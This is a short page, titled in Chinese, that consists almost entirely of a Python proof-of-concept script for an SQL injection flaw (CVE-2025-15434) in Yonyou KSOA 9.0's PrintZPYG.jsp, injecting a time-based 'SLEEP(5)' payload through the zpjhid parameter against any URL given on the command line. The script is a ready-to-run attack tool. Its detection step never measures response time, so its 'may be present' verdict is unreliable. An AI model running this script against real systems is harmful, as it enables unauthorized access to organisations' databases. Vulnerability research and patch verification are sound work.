用友KSOA 9.0 PrintZPYG.jsp SQL注入漏洞 (CVE-2025-15434)

import requests import sys # CVE-2025-15434 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /kp/PrintZPYG.jsp # Parameter: zpjhid def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in Yonyou KSOA 9.0 target_url: Base URL of the vulnerable application payload: SQL injection payload """ params = { 'zpjhid': payload } try: response = requests.get(f'{target_url}/kp/PrintZPYG.jsp', params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f'Error: {e}') return None def basic_detection(target_url): """Basic detection using time-based blind SQL injection""" # Normal request normal_response = exploit_sqli(target_url, '1') # Payload with sleep to detect vulnerability # Using MySQL SLEEP() function payload = "1' AND SLEEP(5)-- -" print(f'Testing target: {target_url}') print(f'Payload: {payload}') response = exploit_sqli(target_url, payload) if response: print('Vulnerability may be present - check response manually') return response if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_15434.py <target_url>') print('Example: python cve_2025_15434.py http://vulnerable-server.com') sys.exit(1) target = sys.argv[1] basic_detection(target)